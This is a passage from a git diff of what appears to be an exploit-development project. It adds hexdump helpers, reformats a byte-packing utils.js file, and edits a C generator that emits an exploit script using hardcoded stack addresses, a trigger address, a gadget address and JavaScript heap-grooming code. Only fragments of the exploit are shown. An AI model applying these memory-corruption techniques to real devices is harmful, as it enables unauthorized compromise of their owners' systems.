+= col_split) { + for (k = j; k < (j + col_split); k++) { + val = buf[k]; + try { + s += pad_left(val.toString(16), "0", 2); + } catch (e) { + s += " "; + } + } + s += " "; + } + + for (j = i; j < (i + (cols * col_split)); j++) { + val = buf[j]; + + if (val < 0x20 || val >= 0x80) { + val = 0x2e; // period + } + + chr = String.fromCharCode(val); + s += chr; + } + + s += "\n"; + } + + return s; +} + +/* + * HEX SHIT + */ +function prim_hexdump(buf) { + s = ""; + + for (i = 0; i < buf.length; i++) { + val = buf[i]; + s += pad_left(val.toString(16), "0", 2); + } + + return s; +} diff --git a/js/utils.js b/js/utils.js index 2b9931e..361e71d 100644 --- a/js/utils.js +++ b/js/utils.js @@ -1,78 +1,78 @@ -//
-// Utility functions.
-//
-// Copyright (c) 2016 Samuel Groß
-//
-
-// Return the hexadecimal representation of the given byte.
-function hex(b) {
- return ('0' + b.toString(16)).substr(-2);
-}
-
-// Return the hexadecimal representation of the given byte array.
-function hexlify(bytes) {
- var res = [];
- for (var i = 0; i < bytes.length; i++)
- res.push(hex(bytes[i]));
-
- return res.join('');
-}
-
-// Return the binary data represented by the given hexdecimal string.
-function unhexlify(hexstr) {
- if (hexstr.length % 2 == 1)
- throw new TypeError("Invalid hex string");
-
- var bytes = new Uint8Array(hexstr.length / 2);
- for (var i = 0; i < hexstr.length; i += 2)
- bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
-
- return bytes;
-}
-
-function hexdump(data) {
- if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
- data = Array.from(data);
-
- var lines = [];
- for (var i = 0; i < data.length; i += 16) {
- var chunk = data.slice(i, i+16);
- var parts = chunk.map(hex);
- if (parts.length > 8)
- parts.splice(8, 0, ' ');
- lines.push(parts.join(' '));
- }
-
- return lines.join('\n');
-}
-
-// Simplified version of the similarly named python module.
-var Struct = (function() {
- // Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
- var buffer = new ArrayBuffer(8);
- var byteView = new Uint8Array(buffer);
- var uint32View = new Uint32Array(buffer);
- var float64View = new Float64Array(buffer);
-
- return {
- pack: function(type, value) {
- var view = type; // See below
- view[0] = value;
- return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
- },
-
- unpack: function(type, bytes) {
- if (bytes.length !== type.BYTES_PER_ELEMENT)
- throw Error("Invalid bytearray");
-
- var view = type; // See below
- byteView.set(bytes);
- return view[0];
- },
-
- // Available types.
- int8: byteView,
- int32: uint32View,
- float64: float64View
- };
-})();
+// +// Utility functions. +// +// Copyright (c) 2016 Samuel Groß +// + +// Return the hexadecimal representation of the given byte. +function hex(b) { + return ('0' + b.toString(16)).substr(-2); +} + +// Return the hexadecimal representation of the given byte array. +function hexlify(bytes) { + var res = []; + for (var i = 0; i < bytes.length; i++) + res.push(hex(bytes[i])); + + return res.join(''); +} + +// Return the binary data represented by the given hexdecimal string. +function unhexlify(hexstr) { + if (hexstr.length % 2 == 1) + throw new TypeError("Invalid hex string"); + + var bytes = new Uint8Array(hexstr.length / 2); + for (var i = 0; i < hexstr.length; i += 2) + bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); + + return bytes; +} + +function hexdump(data) { + if (typeof data.BYTES_PER_ELEMENT !== 'undefined') + data = Array.from(data); + + var lines = []; + for (var i = 0; i < data.length; i += 16) { + var chunk = data.slice(i, i+16); + var parts = chunk.map(hex); + if (parts.length > 8) + parts.splice(8, 0, ' '); + lines.push(parts.join(' ')); + } + + return lines.join('\n'); +} + +// Simplified version of the similarly named python module. +var Struct = (function() { + // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. + var buffer = new ArrayBuffer(8); + var byteView = new Uint8Array(buffer); + var uint32View = new Uint32Array(buffer); + var float64View = new Float64Array(buffer); + + return { + pack: function(type, value) { + var view = type; // See below + view[0] = value; + return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); + }, + + unpack: function(type, bytes) { + if (bytes.length !== type.BYTES_PER_ELEMENT) + throw Error("Invalid bytearray"); + + var view = type; // See below + byteView.set(bytes); + return view[0]; + }, + + // Available types. + int8: byteView, + int32: uint32View, + float64: float64View + }; +})(); @@ -173,10 +173,10 @@ int main(int argc, fprintf(fp, "# - with love from spv <3\n"); fprintf(fp, "\n"); -// uint32_t stack_base = 0x1c7738; // my shell setup + uint32_t stack_base = 0x1c7738; // my shell setup // uint32_t stack_base = 0x1c7c88; // my 4s shell setup // uint32_t stack_base = 0x1c2e48; // my lldb - uint32_t stack_base = 0x1c7d68; // btserver env +// uint32_t stack_base = 0x1c7d68; // btserver env uint32_t magic_trigger_addr = 0xb6074; uint32_t mov_r0_0_bx_lr = 0x8d3e | 1; @@ -365,18 +365,22 @@ int main(int argc, writebuf_unslid(0x108000, "var parent = new Uint8Array(0x100);" "var child = new Uint8Array(0x100);" - "" - "function shitalloc() {" " var fuck = new Array();" " for (var i = 0; i < 0x800000; i++) {" " fuck[i] = i;" " }" " delete fuck;" - "}" "" - "shitalloc();", + "//shitalloc();", strlen("var parent = new Uint8Array(0x100);" - "var child = new Uint8Array(0x100);") + 1)); + "var child = new Uint8Array(0x100);" + " var fuck = new Array();" + " for (var i = 0; i < 0x800000; i++) {" + " fuck[i] = i;" + " }" + " delete fuck;" + "" + "//shitalloc();") + 1)); fprintf(fp, "%s", writebuf_unslid(0x10a000, |
